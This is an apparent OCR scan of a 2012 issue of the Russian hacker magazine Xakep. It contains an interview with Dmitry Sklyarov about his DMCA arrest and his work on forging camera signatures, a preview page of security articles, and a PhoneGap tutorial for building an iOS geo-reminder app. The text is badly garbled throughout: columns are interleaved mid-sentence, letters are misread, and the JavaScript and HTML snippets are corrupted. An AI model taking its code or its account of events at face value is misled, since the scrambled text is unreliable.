ком п ании Apple, для iOS [для любых устройств, кроме iPhoпe 45 и iPad21. Мы были первыми в

но я не умел п родавать программы. Тогда-то я и

мире, кто сделал подобное. Мы не продаем его

узнал, что существует такая компания-

всем подряд, открытой продажи нет вовсе, зато

032

eBook

Ргосеssог, все было

проехать с ними.

m

РУКИ НЕ ЗАЛАМЫВАЛИ? :1

ХАКЕР

01 /156/2012


Интервью с Дмитрием Скляровым

подан в Калифорнии. Соответственно, суд тоже должен был состояться в Калифорнии. И пока я не в Калифорнии- я не в тюрьме, я в транзите.

Информация о том, что я в тюрьме, недоступна, а информацию о заключенных, находящихся в транзите, не выдают в принципе. В итоге меня все-таки нашли через два дня.

r.1

НО ВЫ СИДЕЛИ НЕ ТОЛЬКО В ВЕГ АСЕ,

1.;.1 ВЕРНО? КАКИМ БЫЛ <<ОПЫТ ОБЩЕ­ НИЯ>> С АМЕРИКАНСКИМИ ТЮРЬМАМИ?

ГАl С транспортировкой вообще _было весело.

~ По закону человека, которыи находится в транзите, нельзя держать в одной тюрьме дольше

21

дня. Его могут перевозить из одной тюрьмы в

другую и только потом привезти туда, куда он

должен попасть в конечном итоге. Сколько времени должна занимать транспортировка,

никто не регламентирует. Я провел

11

дней в

Лас-Вегасе, после этого меня самолетом для заключенных отправили в Оклахому, в федераль­

ную пересыльную тюрьму. Она построена прямо на краю летного поля, то есть самолет гейтуется прямо в нее. Сама тюрьма- это пять комнат с телевизорами, микроволновая печка, машина

для изготовления льда, много еды ... в общем,

почти отель. :) В Оклахоме я провел неделю, после чего меня самолетом транспортировали в

Калифорнию, в Сан-Хосе . Что касается тюрем, то до попадания в амери­ канскую тюрьму я успел поработать в стройотряде

и побывать на сборах в армии. Так вот, в амери­ канской тюрьме комфортнее, чем в стройотряде и армии . Чтобы охранник бил заключенного без

повода- я подобного и близко не видел. Белого братства, черно го братства- тоже ... в Лас­ Вегасе половина заключенных вообще мекси­ канцы, они испаноговорящие.

r.1

А ПОЧЕМУ ПРОДОЛЖАЛОСЬ ДЕЛО,

ГАl Заламывали, только ... Понимаете, на

уди вились, когда обнаружили, что у меня с собой

1.;.1 ЕСЛИ ADOBE ОТОЗВАЛА СВОИ

~ конференции существует огромное

нет ноутбука. Дело в том, что со мной были другие

ПРЕТЕНЗИИ?

количество игр, связанных с тамошней полицией.

ребята, которые после конференции полетели в

Одна из них- Spot the fed !Засеки федерала). На

другой город в Штатах. Ноутбук был не мой, я

ГАl Да, за то время, пока меня везли в Сан-Хосе,

конференции действительно присутствуют

сделал с него доклад, отдал им, и они уехали.

~ Adobe успела отказаться от своих претен­

федеральные агенты !разумеется, скрытно), и в

Фзбззровцев это разочаровало. Хотя никакого

зий. Но <<машина>> уже была запущена- меня

ее ходе по вопросами и ответам из зала нужно

криминала на лэптопе он бы все равно не нашли.

обвиняли в уголовном преступлении, истцом

Потом меня отвезли в здание местного суда

вычислить человека, который является

выступал не

Adobe,

а государство .

Adobe

просто

федералом, и каким-либо образом на него

в Лас-Вегасе. В Штатах нет камер предвари­

подала жалобу, ну, так они говорят. Соответствен­

указать. Когда я вышел из номера и наткнулся на

тельного заключения и нет мест для постоянной

но, государство сказало: <<Нет, дело мы закрывать

четырех человек, которые представились

<<отсидки>>. Все объединено, так как большин­

не будем, человек сидит, вот и пусть сидит>> . Обще­

федеральными агентами, я сначала решил, что

ство людей выходит под залог еще до того, как

ственное мнение явно было на моей стороне, по

зто продолжение какой-то игры, хотя конферен­

попадает в камеру. Меня отказались выпускать

всему миру начались манифестации.

ция на тот момент уже закончилась. Попытался

под залог: был велик риск <<nобега>>, ведь к США

их обойти. Один из них остановил меня, схватив

меня ничего не привязывало. В результате меня

А В ЧЕМ, СОБСТВЕННО, ВАС

за запястье, показал мне жетон, и я понял, что

оставили в тюрьме Лас-Вегаса, в которой я про­

ОБВИНЯЛИ?

никуда не побегу, сдался властям .

вел

11

дней. А дальше началось самое забавное.

Оказывается, Андрей Малышев- еще один наш

r.1

РАССКАЖИТЕ, ЧТО БЫЛО ДАЛЬШЕ.

сотрудник, который был со мной и присутствовал

В число обвиняемых по делу, помимо меня, попал и

Elcomsoft. А

меня обвиняли в том,

1.;.1 ВЕДЬ ТОГДА ПОЛУЧИЛАСЬ ОЧЕНЬ

при моем аресте, сразу позвонил в Москву, в

что я <<извлекал выгоду из распространения

ГРОМКАЯ ИСТОРИЯ, ВАС ПОЧТИ МЕСЯЦ

головной офис, и сообщил, что меня арестовали .

запрещенной программы» и <<nродвигал на

ПРОДЕРЖАЛИ В ТЮРЬМЕ, БОЛЬШЕ

В Москве всех поставили на уши . Консульство

рынок запрещенную программу>> . Я ничего этого

ПОЛУГОДА НЕ ДАВАЛИ УЕХАТЬ ИЗ ШТАТОВ.

послало запрос в тюрьму, чтобы узнать, действи­

не делал. Я ее разрабатывал. Я не являлся

тельно ли меня в ней содержат. Те ответили:

совладельцем компании, получающим прибыль,

ГАl Федеральные агенты п~ивели меня обратно

<<Нет, такого нет>>. Оказывается, американская

не был ответственным за рекламу. Но был один

~ в номер, осмотрели мои чемодан и очень

система, она очень хитрая. Иск против меня был

связующий пункт- <<сговор>>. Прокуратура

ХАКЕР

01 /156/2012

033


COVERSTORY решила, что я нахожусь в сговоре с компанией.

НЕСКОЛЬКИХ ЛЕТ? КАК СЧИТАЕТЕ, ЧТО

технологий уже использовалась. Мне стало

На резонный вопрос о том, как подчиненный

ПОЛУЧИЛО ПРИЧИНОЙ, ЖАЛОБА АООВЕ

интересно, как до нее добраться . Я стал рыться в

может находиться в сговоре со своим руковод­

ИЛИ ВСЕ ЖЕ ЧТО- ТО ИНОЕ?

Интернете и нашел некоторые наработки по Саnоп. Оказалось, есть такой опенсорсный

ством, прокуратура заявила, что я, вероятно,

состою в сговоре с компанией и с третьими

ГАl Сейчас мне все зто представляется так. У

проект под названием

лицами . С какими именно лицами, прокуратура

~ американцев был закон ОМСА. На тот

которого люди дописывают к прошивке

отказалась говорить до суда. Таким образом, все

момент он ни разу не применялея к физическому

свой код, чтобы увеличить функциональность

обвинения nротив меня строились только на

лицу, и позтому им нужен был прецедент. Нужно

фотоапапарта. Также существует форум проекта

предположении о сговоре .

было, чтобы какой-нибудь человек написал

Са поп Hackeгs Oevelopeгs

программу, после использования которой его

обсуждают, как расширить функциональность

можно было бы признать виновным. Необходимо

«мыльниц>> и «зеркалок>> . Там я нашел

было показать, что закон работает. В итоге

информацию о том, как расшифровать апдейт от

r.1

ВАС В ИТОГЕ ВСЕ ЖЕ

. . . ВЫПУСТИЛИ ПОД ЗАЛОГ? ГАl Да, во время второго слушания lв Сан-Хосе)

~ меня выпустили под залог в 50 тысяч долларов, который заплатил Elcomsoft. Ну и

Laпteгn, в рамках

Kit,

Canon

где люди

получилось, что Саша Каталов за свои деньги

Сап оn для последующего анализа, стал

защищал интересы американских граждан,

экспериментировать и пришел к тому, к чему

защищал их право писать такого рода ПО.

пришел. Итог был удачно продемонстрирован на CONFideпce

наше

консульство поручилось, что я не сбегу, куча

Magic

r.1

ВСЕ ЭТО ~К-ТО ПОВЛИЯЛО НА ВАШУ

2.0.

С камерами Nikoп все оказалось

еще легче. После покупки железяки lusЬ-донгл)

людей пообещала, что они будут на моей стороне.

. . . ДАЛЬНЕИШУЮ КАРЬЕРУ, ЖИЗНЬ?

для проверкиподписи все было очень просто .

Нашлось место, где жить . Первым предложил

БЫЛИ ПРЕДЛОЖЕНИЯ ОТ ДРУГИХ РАБОТО­

Мне хватило чужого фото с подписью, найденно­

пожить у него американец, которого я до этого

ДАТЕЛЕЙ?

го в Сети, и железки . Путем анализа я выяснил,

как происходит формирование и проверка

никогда не знал. Потом появились русские ребята, с которыми я тоже был до этого не

ГАl Была большая активность со стороны СМИ,

подписи и как ее подделать . Фотоаппарат

знаком, прекрасные люди. У них я прожил месяц.

~ но через два года все успешно забыли об

я даже в руках не держал.

Потом ко мне приехала семья, мы перебрались к

этом деле. Предложений о работе я не получал. В

их друзьям, а через какое-то время сняли

Штатах тем более- там у меня не было

квартиру, где прожили еще полгода . Раз в

разрешения на работу.

r.1

меня в середине июля залог

6 августа,

2001

года, выпустили под

а суд состоялся в декабре

2002

года. К счастью, мне позволили вернуться в

5-10

. . . КНИГ, КОТОРЫЕ НУЖНО ПРОЧИТАТЬ ЧЕЛОВЕКУ, ЖЕЛАЮЩЕМУ ЗАНИМАТЬСЯ

неделю я должен был звонить в суд и раз в неделю являться лично. В общем, арестовали

МОЖЕТЕ ПОРЕКОМЕНДОВАТЬ

Nikon

r.1

ИНФОРМАЦИОННОЙ БЕЗОПАСНОСТЬЮ?

ЧТО Ж, ОСТАВИМ ДЕЛА ДАВНО

. . . МИНУВШИХ ДНЕЙ И ПОГОВОРИМ О НАСТОЯЩЕМ. НАД ЧЕМ РАБОТАЕТЕ

ГАl Тем, кто хочеттак или иначе использовать

СЕЙЧАС?

~ криптографию, рекомендую Pгactical

Россию !спасибо адвокату Джо Кикеру), но только

cгyptogгaphy Нильса Фергюсона и Брюса

на следующих условиях: дело против меня не

ГАl Ну, детально описывать не буду ... Много над

Шнайера. Это не справочник, а книга, которая

закрывается, а приостанавливается, я не являюсь

~ чем идет работа. Никаких новых, прорыв­

помогает понять, почему и как нужно использо­

активным подследственным, однако должен

ных продуктов я вам обещать не могу. Но кто

вать криптографию. А так ... Я, к сожалению или к

явиться по первому требованию суда. Перед

знает, может быть, у кого-нибудь родится

счастью, учил безопасность не по книжкам . Когда

отъездом я должен был сделать depositioп

гениальная идея, и эту идею за две недели

я начинал этим интересоваться, в России таких

!показания под присягой) - видеозапись мои

реализуют на практике .

книг просто не было . Практика, только практика. Конкретных книг посоветовать, увы, не могу.

показаний. Мне задавали забавные вопросы, например : «Получал ли я когда-либо деньги от

КНИГИ БОЛЬШЕ ПИСАТЬ НЕ

российского правительства?>>. Я честно

СОБИРАЕТЕСЬ?

r.1 КАК ВЫ ОЦЕНИВАЕТЕ РОССИЙСКОЕ . . . ОБРАЗОВАНИЕ В СФЕРЕ ИТ?

деньги от российского правительства. Потом

С книгой ситуация была простая- мне

НЫНЕШНИХ СТУДЕНТОВ, НАШИХ

спросили, финансируется ли

предложили ее написать, и я написал. Быть

ПРОГРАММ ИСТОВ?

признался, что да: я был студентом и получал

Elcomsoft

россий­

ским правительством и заказывало ли оно

может, писать детективы экономически выгодно,

разработку этой программы. Явно были такие вот

но писать техническую или научную литературу

шпионские идеи. В итоге в декабре

Если бы я больше ничего не умел, то, возможно,

2001

года мне

...

ГАl Если говорить в целом, с образование беда.

~ Преподают хорошо, но у студентов нет

разрешили уехать из Штатов, что я достаточно

зарабатывал бы именно этим. Но время,

возможности учиться нормально . Я смотрю на

быстро и сделал.

потраченное на написание книги, не окупилось

своих студентов- половина из них работает, и

r.1

СУД, КАК УЖЕ ПРОЗВУЧАЛО ВЫШЕ,

. . . СОСТОЯЛСЯ ТОЛЬКО В ДЕКАБРЕ 2002.

даже за те пять или шесть лет, в течение которых

работает на полную ставку . Как можно учиться на

книга была в продаже. Всего было напечатано

дневном отделении и работать на полную ставку,

порядка

я не представляю. Когда они учатся и какие у них

9 тысяч

экземпляров .

ВЫ НА НЕМ ПРИСУТСТВОВАЛИ?

знания на выходе, не знаю. Но понятно, что

r.1

НЕДАВНО НА

работают они не потому, что им скучно, а потому,

ГАl Мне и президенту

Elcomsoft Александру ~ Каталову не дали визу, но впустили в

CONFIOENCE 2.0 В ПР АГЕ . . . ВЫ СДЕЛАЛИ ДОКЛАД О ВЗЛОМЕ ЦИФРОВЫХ ПОДПИСЕЙ В КАМЕРАХ CANON.

страну на суд по специальному документу PuЫic

ОТКУДА ПОЯВИЛАСЬ ЭТА ИДЕЯ?

них едва

lпteгest Рагоlе. Присяжные дня четыре думали и,

что на стипендию выжить нельзя.

У нас выпускают тысячи инженеров, но из

1 %справляется

с задачами, к решению

которых их готовят. Что касается программ истов,

ГАl Я тоже люблю фотографировать, у меня

ответ у меня будет такой. Один мой знакомый,

~ тоже есть фотоаппарат IСапоп) . Предысто­

очень умный человек, тоже работающий в

пункта м обвинения. С тех пор дело считается

рия такова- одно время у нас работал

как-то сказал: «Количество гениальных nро­

закрытым. Я считаюсь человеком, которого

сисадмин, который купил себе Са поп

граммистов в России слегка преувеличено>>. У

арестовали и которому предъявили обвинение,

глядя на него, купил себе Сапоп

нас действительно есть классные программисты,

потом обвинение сняли и дело закрыли. Все.

узнал, что Сап оn есть технология подписи

но очень плохо с культурой коллективной работы.

изображений, которые делает камера, но в моем

Поэтому умных программистов у нас, может, и

насколько я помню,

компанию

Elcomsoft

17 декабря

признали

нееиновной по всем пяти

ЧТО ВЫ ДУМАЕТЕ ОБ ЭТОЙ ИСТОРИИ СЕЙЧАС, ПО ПРОШЕСТВИИ

3000, и я, 3500. Тогда я и

аппарате она, к сожалению, не была реализова­ на. Через два года я купил Сапоn

300,

где эта

IT,

много, но продуктов российского производства очень мало. ::х:

ХАКЕР

01 /156/2012


Preview

30 стран и цжурнала на одно й полосе . Ти з е р некоторы х с татей.

взлом ПРОБ11ВАЯЛОТУС, ИЛИ ИСТОРИЯ ОДНОГО ПЕНТЕСТА Некоторые сnециалисты по ИБ nроводят тесты на nроникновение п о nростой

схеме : заnустил сканер~ nолучил отчет ~nередал отчет заказ ч ику~ nолучил

вознаграждение. Но э т о история про неумелых лентяев. Настоящего nентесте­

ра не исnугает необход имость настоящего ресерча.Леша Синцо в рассказывает ис т орию о n е н тес т е вну т ри одного кру n­ ного n редnриятия, где ему nр ишлось

изря д но nо ковыряться с

Lotus Domino

Contгolleг и самому наnисать сnлоит для уязвимоеого сервиса. Где удалось найти nодсказки, как был отреверсен nротокол, и где накосячили nрограммисты IВМ­

ч итай в этой статье.

PCZONE

36

взлом

МОБИЛЬНОЕ ПРИЛОЖЕНИЕНА HTML5

ЧТОДЕЛАТЬ С ШЕЛЛОМ В СИСТЕМЕ ?

Мож н о л и разрабатыва т ь дл я A nd гoid и

Большая шnаргалка nотому, что можно

Несколькоуязвимостейвадминкезловре­

не изучая их нативных языков? Заnросто.

сделать в консоли системы с nомощью

да-три захвачнных ботнета. Э то истори я

Создаем nолноценное nриложениедля

стандантных средств, не nрибегая кдо­

атом, чтоошибки в коде частенькоделают

разных мобильных nлатформ заЗ О минут.

nолнительному ПО.

и разработчики малвари.

iOS,

СЦЕНА

MALWARE

Х АКЕР

ХАКСПЕЙСЫ П о всему миру мож н о насчитать около

500 хаксnейсов, где вместе работают увлеченные ИБ люди. А теnерь такие организации nоявились и в России.

01/156/2012

СИЛ Е Н DUQU ОЧ Е НЬ

Ввирлабахnовсемумируанализируют тело нового зловреда, который по ряду nризнакаеда неnриличия nохож на на­

шумевший

Stuxnet.

КАКУ ГНАТЬБО ТН ЕТ?

ОБНАРУЖЕН ВООТКIТ! Мы взяли несколько вирусов, зара­

жающих

MBR, и

nосмотрели, насколько

умело их могутобнаружить 5 nоnуляр­ ных антивирусных ре ш ения.

035


PCZONE

PhoneGap:мoб приложение

на

HTML5

КАКСОЗДАТЬ

ПРОГРАММУ ДЛЯ СМАРТФОНА ЗА ПОЛЧАСА Изучить новый язык и среду

Е

разработки- это минимум, что от тебя

потребуется, если ты захочешь написать свое первое мобильное приложение . Чтобы с пониманием набросать элементарный

iOS,

todo list для

ели ты внимательно изучал нововведения, которые ожидают

нас в

Windows 8,

то , возможно, заметил, что nод ней можно

будет разрабатывать nриложения на

HTML5.

мобильных nлатформ, развиваются семимильными шагами . Одним из таких фреймворков, n озволяю щим разрабатывать nриложения для смартфоно в с nомощью связки nривычных для нас

Aпdroid или

не передирая пример из книжки,

Идея, на са-

мом деле, не новая- те х нологии, реализующие тот же nодход для

и

CSS!,

как раз и является

PhoneGap. Наnисанное

HTML, JavaScг i pt

с его nомощью

nриложение nодойдет для всех nоnулярных nлатформ:

Windows Phone,

ВlасkЬеггу,

WebOS,

SymЬian и

iOS, Andгoid, Bada. Те бе не нужно

уйдет не меньше пары недель. Но можно

будет изучать особенности nрограммирования nод каждую nлатф орму

не осваивать

и средами разработки. Все, что nотребуется для создания кросс­

Objective-C

или

Java

и при

этом быстро разрабатывать приложения для смартфонов, если использовать такие

технологии, как

PhoneGap.

[наnример, Objective-C в случае с iOS), разбираться с различными API nлатформенного мобильного nриложения,- зто знание и специального

PhoneGap API.

HTML5

При зто м на выходе nолучится не тупая

НТМL-страница, <<обра мленная >> в интерфейс приложения , нет!

API

фреймварка nозволяет задействовать nрактически все возможности

телефона, которые исnользуются nри разработке с nомощью нативных

инструментов: доступ к акселерометру, комnасу, камере [запись видео и фотосъемка), сnиску контактов, файловой системе, системе нотифи­ каций !стандартны х уведомлений на телефоне) , хранилищам и т. д. На­ конец, такое приложение может безболезненно обращаться к любому

._.....

·-~ --· ­

-·--

...........

кросс-доменному адресу. Ты можешь вос создать нативные элементы уnравления с помощью фреймворков вроде jQueгy MoЬile или Seпcha, и конечная программа будет выглядеть на мобильном телефоне так,

как будто она написана на нативном языке [н у или nочти так) . Лучше всего nроиллюстрировать вышесказанное на деле, то есть наnисать

приложение, nозтому предлагаю сразу nри стуnить к практике. Засекай время- на все про все уйдет едва ли больше получаса .

ЧТО МЫ БУДЕМ СОЗДАВАТЬ В качестве целевой nлатформы во з ьмем

iOS- да-да,

деньги

лежат в AppStoгe, и монетизировать свои разработки nока лучше

всего там:). Но сра зу внесу ясность : все то же самое , без измене­ Запуск приложен и я в симуляторе

036

iOS

ний , можно проверн у ть, скажем, для Andгoid. Долго думал , какой nример рассмотреть, так как писать очередную т улзу для учета

ХАКЕР

01/156/20 12


PhoneGap: мобильное п риложениена HTML5

Геонапоминалка

Точки

КАРКАС ПРИЛОЖЕНИЯ Сразу объясняю, зачем мы будем использовать jQueгy MoЬile. Эта JS-библиотека предоставляет нам уже готовые э лементы

интерфейса мобильного nриложения [максимально nриближенные

к нативнымl для самых разных nл атформ. На м ведь надо , чтобы на выходе было именн о мобильное приложение, а не страничка из браузера! Так что качаем последнюю версию JQueг y MoЬile

[jqueгymoЬile.com/download l и перен осим в рабочую паnку nервые файлы nриложения, которые нам понадобятся:

Ирбитская УЛ.

images/ [nеренеси сюда все изображения из одноимен ной nапки архива jq-moЬilel;

index.css; index.html; index .js; jqueгy.js;

• • •

jqueгy.moЬile.min.css; jqueгy.moЬile . min.js.

Н ужно сделать ресурсы в основном локальными, чтобы пользо­ ватель в будущем не тратил мобильный интернет. Теn��рь создаем каркас страниц в файле index.html. Приведенный ниже код описы­ вает верхнюю часть страницы с картой, на дпи сью << Геонапоминал­ ка>> И КНОПКОЙ <<ТОЧКИ >>. Страница

с

картой

cdiv data-role= "page" data-dom-cache= "true" class = "page- map" id= "index" > cdiv data-role= "header" > с hl > Геонаnоминалка с/ hl > са

href= "#points" class= "ui-btn-right" id= "menu-points"

data-transition= "pop" > Toчки c/a>

c/ div > cdiv data-role= "content" > cdiv id= "map-canvas" > с ! -- Т ут будет карта-->

Страница с картой, открытая в мобильном браузере. Это еще не

iOS приложение .

списка дел совершенно не хоте л ось. П оэтому я решил создать

c/ div> c/div> c/div> Атрибут страницы data-dom-cache="true" необходим для того, чтобы

nриложение nод названием << Геонаnоми н алка», навигационную

она не выгружалась из памяти . Для кнопки <<Точки>> используется

nрогу, назначение которой можно описать одной фразой: <<Со ­

data-transition="pop", чтобы с траница <<С nисок точек>> открывалась

общи мне, когда я снова тут окажусь». В AppStoгe есть немало

с эффектом << Всnлытие >>. Подробнее о том, как устроены страницы

ути лит, которые позволяют «за n ом ни ть>> место, где пользова­

jQueгy MoЬi l e, можно почитать в хорошем мануале [ Ьit.ly/vtXXЗM I .

тель приnарковал машину. Это почти то же самое, только чуть поnроще. Ты сможешь указать на карте города точку, задать для нее оnределенный радиус и заnрограммировать сообще­ ние. Когда ты в с л е д ую щи й п о пад е шь в пр еделы окружности с указанным радиусом, приложение выдаст тебе уведомление,

ДРУГИЕ ПОЛЕЗНОСТИ

PHONEGAP

а точка будет удалена. Будем д ействовать по такому плану: сна­ чала создадим nростое веб-nрилож е ние, nроверим его в брау­ зе ре, а затем перенесем с помощью PhoneGap на nлатформу iOS.

Кроме потрясающей платформы для мобильных приложений,

Очень важно наnисать в прототипе и протестировать в браузе ре

PhoneGap

на комnьютере основную часть кода, n оскольку отлаживать nри­

приложения в << облаке>> . Под все платформы и в один клик! Сборщик

ложение в телефоне гораздо сложнее. В качестве каркаса мы

условно бесплатный. Ты можешь зарегистри р ова ть ся на сайте

возьмем J S-фреймворк jQueгy с jQue г y Mobile [ jqueгymobile . com l,

PhoneGap Build [build .phonegap.com l и получить достуn к сборщику.

также пред оста вляет сервис для сборки твоего

а в качестве движка карт- Google Maps vЗ. Пр иложение будет

С его помощью ты вправе соб рать неограниченное число пр иложений

состоять из двух страниц: карты и сnиска точек .

с открыт ым исходным кодом и одно приложение с зак рытыми

Накарте устана вливаетсямаркертвоеготекущегоположения.

исходниками. Понятно , что если н ужно скомп илировать больше

П о к л ику на карте создается т очка, к которой nривязывает ся со­

закрытых приложений, то придется немного заплатить.

об щени е [вроде <<ма шина рядом>>!. Точку можно удалить , клик н ув

Если тебе не хватает какого - нибудь функцианала в <<базовой

на ней. Для перемещения маркера человека по карте использу­

комплектации>>

ется геонавигационный API.

с помощью плагинов . Существует целый репазитарий lgithub.com/

На странице со сnиском точек должна иметься дополнительная

ве т с тв ующая точка отобразится на карте . Н астройки пользова­

phonegap/phonegap-p luginsl, который включает в себя четыр е ра здела iPhone, Android, Palm, Bla ckBerry. Сейча с под iOS написа н о более 20 плаrинов: BarcodeScann er [сканер ш т рих-кодов!. AdPIugiп [отображения рекламы iAdl, Nati veCont rol s lнативные для iOS

теля и списокточек будем сохранять в locaiStoгage .

контролыl и другие.

к н опка <<Удалить все точки >>, а рядом с каждой точкой- к н опка <<Удал ить эту т очку>>. Е сли кликнуть по элементу в сnиске, соот­

ХАКЕР

01 /156/2012

PhoneGap , то ты можешьрасширить его во змож ности

037


PCZONE EnableViewportScale Externa!Hosts

По аналогии создаем страницу со сnиском точек: Страница

ltemO ltem 1

со списком точек

cdiv data-role= "page" data-dom-cache="true" class="page-pints" id= "points" > cdiv data-role= "header" > <!--Удаляет все точки

из

ltem 2 ltem 3 MediaPiaybackRequiresUserAction

списка-->

href= "#" data-theme="b" data-icon= "delete"

са

Boolean

00 Array

Проnисываем

id= "delete-all" >Yдaлить все</а>

String String String

..

NO

(41tems) csi .gstatic.com

•.googleapis.com maps.goog le.com

String Boolean

maps.gstatic.com NO

ExternaiHosts

chl>Toчкиc/hl>

Карта

// отрисо вывает ее на карте self.addPoint(event. latlng, self.options.radius, message); self.updatePointslist(); // Перерисqвываем

</а>

});

</div>

}, false );

<!--Кноnка

Карта-->

href="#index" class= "ui-btn-right" data-transition="pop" data-direction= "reverse" >

са

с nисок точек

Я nривожу бОльшую часть кода - остальное ищи на диске.

cdiv> <!--Список точек-->

Дальше нам нужно научить nриложение nеремещать иконку nоль­

cul id="list" data-role="listview" data-inset= "true" data-split-icon= "delete" > </ul> </div> c/div>

зователя по карте. В nрототиnе мы задействуем

if (navigator.geolocation) {

/1

Для кноnки <<Карта>> тоже nроnишем data-tгansition=>>pop>>,

но добавим атрибут data-diгection=>>гeveгse>>, чтобы страница <<Карта>> открывалась с эффектом <<Затухание>>. Те же атрибуты nроnишем в шаблоне точки . Все, наш каркас готов.

СОЗДАНИЕПРИЛОЖЕНИЯ Теперь надо отобразить карту, для чего мы возьмем стандартный

API Google Maps,

Geolocation AP I

!тот, который исnользуется в том чи сле в десктоnных браузерахl:

Прове ряем,

поддерживает ли браузе р

геолокацию

function gpsSuccess(pos) { var lat, lng; if (pos.coords) { lat pos.coords.latitude; lng pos.coords.longitude; el se pos.latitude; lat lng pos.longitude;

который используется миллионами разных сайтов:

self.movePerson( new gm.Latlng(lat, lng)); var latlng = new gm.Latlng( this .options.lat, this .options.lng); t his .map = new gm.Map(element, { zoom: this .options.zoom, // Выбираем начальный зум center: latlng, //Устанавливаем начальный центр mapTypeid: gm.MapTypeld.ROADMAP, // Обычная кар та disaЬleDouЫeClickZoom: true , /1 Отключаем автозум по тапу/двойному клику disaЬleOefaultUI: t ru e /1 Отключаем все элементы интерфейса

/1

Перемещаем иконку пользователя

}

/1

Каждые три секунды запра шиваем текущее

/1 положение пользователя window.setinterval( function () {

/1

Заnрашиваем теку щее nоложение

navigator.geolocation.getCurrentPosition(gpsSuccess, $.noop, { enaЫeHighAccuracy: true , maximumAge: зеееее

});

});

}, Здесь

Maps.

Gm- это

nеременная, ссылающаяся на объект

Google

зеее);

}

Параметры инициализации я хорошо закомментировал

в коде. Следующий шаг- отрисовка маркера человечка на карте:

Метод movePeгson с nомощью nростой nроцедуры

getPointslnBoundsll t his .person = new gm.Marker({ map: t his .map, icon: new gm.Markerlmage(PERSON_SPRITE_URL, new gm.Size( 48 , 48 ))

nроверяет, не находится ли nользователь

в какой-нибудь активной точке. Последний воnрос- где хранить сnисок точек? В

HTML5

появилась возможность исnользовать

locaiStoгage, так что не будем ей nренебрегать !nредоставляю тебе самостоятельно разобраться с этими участками кода, которые я

хорошо закомментировалl. Итак, nриложение, работающее в брау­

});

зере, готово! В качестве

PERSON_SPRITE_URL исnользуется адрес сnрайта человечка иэ Gооglе -п анорам. Его статический адрес- maps.gstatic. com/mapfiles/cЬ/mod сЬ scou t/cb scout spгite api OOЗ . png . Поль­

Как я уже говорил, отладку в основном необходимо выnолнять

зователь будет добавлять точки, кл икая на карте, nоэтому, чтобы их

на комnьютере . Самый nодходящий браузер для тестирования

отрисовывать, мы будем слушать событие

click:

ЗАПУСК ВЕБ-ПРИЛОЖЕНИЯ

веб-приложений на комnьютере - это Safaгi или Chгome. П осле отладки в этих браузерах ты можешь быть увере н в том, что твое

nриложениене <<nоедет>> в браузе ре мобильного телефона . Оба

gm.event.addlistener(th is .map, 'click' , f unct i on (event) self.requestMessage( function (err, message) { 11 Метод, возвраutающий текс т, введенный пользователем i f (err) return ;

движка

/1

к заnуску мобиль h ~ го веб-nриложения неnосредственно на теле-

038

МетоА добавляет точку в список активных и

этих браузера совместимы с большинством мобильных веб­ браузеров, nосколькуточно так же, как и они, nостроены на основе

WebKit . п~сле

устранения всех бэгов можно nереходить

ХАКЕР

01 / 156/ 2012


PhoneGap:

мобильное приложениена

HTML5

ем. Чтобы проверить, все ли работает, нажми кноnку

запуститься эмулятор

Run- должен iPhone/iPad с шаблонным приложением

PhoneGap. Собранная программа выдаст ошибку с сообщением index.html не найден,- это нормально. Открой папку,

о том, что

в которой ты сохранил nервичные файлы nроекта, и найди в ней подnапку

www.

Перетащи ее в редактор, кликни на иконке прило­

жения в списке слева и в появившемся окне выбери <<Сгеаtе foldeг

гefeгences fог

any added

foldeгs». Если запустить программу еще

раз, то все должно заработать. Теперь можно скопирова ть все фай­ лы нашего прототипа в папку

www.

Пора подпилить наш прототип

для работы насмартфоне в обработке

PhoneGap.

ПЕРЕНОС ПРОТОТИПА В первую очередь нужно подключить

дексный файл .

PhoneGap

phonegap-1.2 .0.js

в твой ин­

позволяет ограничивать список доступ­

ных для посещения хос т ов . Предлагаю сразу настроить так ой <<бе­

лый список>>. В меню проекта открой 5uppoгting

plist,

Fil es/PhoneGap.

найди пункт E xteгnai H osts и добавь в него следующие хосты,

к которым будет обращаться наше приложение (это сервера Google Mapsl: *gstatic.c om, *googleapis.com, maps.google.com. Если их не указа ть, программа выдаст предупреждение в консоли и карта

не отобразится. Для инициализации веб-версии нашего прило­ жения мы использовали событие

DOMReady или

хелпер jQueгy :

$1documentl.гeadyll. PhoneGap генерирует событие deviceгeady, которое говорит о том , что мобильное устройство готово . Предла­ гаю этим воспользоваться:

document.addEventListener( "deviceready" , function () { new Notificator( $( "#map-canvas" )[ е ));

/1 11

Если у пользова теля нет интернет а,

сообщаем ему об этом

if (navigator.network.connection.type Connection.NONE) { Нативные уведомления в

navigator.notification.alert( "Heт интернет-соединения" ,

iOS

$.noop,

фоне. Для этого настрой свой веб-сервер (nусть даже Denweг или

TIТLE);

}, false);

XAMPPI, чтобы он отдавал созданную страницу, и открой ее уже в браузе ре мобильного телефона. Приложение должно выглядеть

Это событие проверяет, есть ли у пользователя хот ь какое­

nримерно так, как показано на рисунке . Тут важно пони мать, что

нибудь интернет-соединение. Если его нет, выводим соответс��вую­

будущее мобильное приложен и е, собранное для мобильной п лат­

щее сообщение. Вместо функции navigatoг. notification.aleгt можно

формы с nомощью

использовать более привычную aleгt, но ее минус в том, что она вы­

PhoneGap,

будет выглядеть почти один в один,

за исключением того, что на экране не будет отобража ться на­

глядит менее естественно для мобильного приложения. Сейчас нам

вигационная панель браузера. Если все хорошо, можно приступать

хватит и этих знаний, н о ты може шь подробнее прочитать о netwo гk .

к созданию из странички полноценного i05-приложения. Заметь,

connection I Ьit . ly/uEyRwz l и способах нотификации I Ьit.ly/tkvzE2 1.

что

PhoneGap

и

IDE для

мобильной разработки мы до этого момента

Запретим скроллинг:

даже не трогали.

ПОДГОТОВКА Для того чтобы собрать nриложение под

i05, тебе нужен компьютер 05 10.6+ (или виртуальная машина на Мае 05 10.61, а также среда разработки Xcode с установленным i05 50 К. Е сли у тебя не устано влен 50 К, nридется с качать с сайта Apple образ диск а. включающий в себя Xcode и i05 50 К l deve l opeг.

document.add Eventlistener( "touchmove" , function (event) { event.preventDefault(); } , false );

с оnерационной системой Мае

app l e . com/devcenteг/ i os/index.act i on l . Имей в виду, что образ весит около

4 Г б . Кроме этого, те ' е понадобит ся зарегис трироваться на сайте Apple в качеств Р разработчика (если ты не собираешься

Затем заменим все вызовы aleгt и confiгm на нативные, которые nредоставляет нам

PhoneGap:

navigator.notification.confirm( 'Yдaлить точку?' ,

function (button_id) {

nубликовать свое прил ·, жение в Арр5tоге, то это требование можно

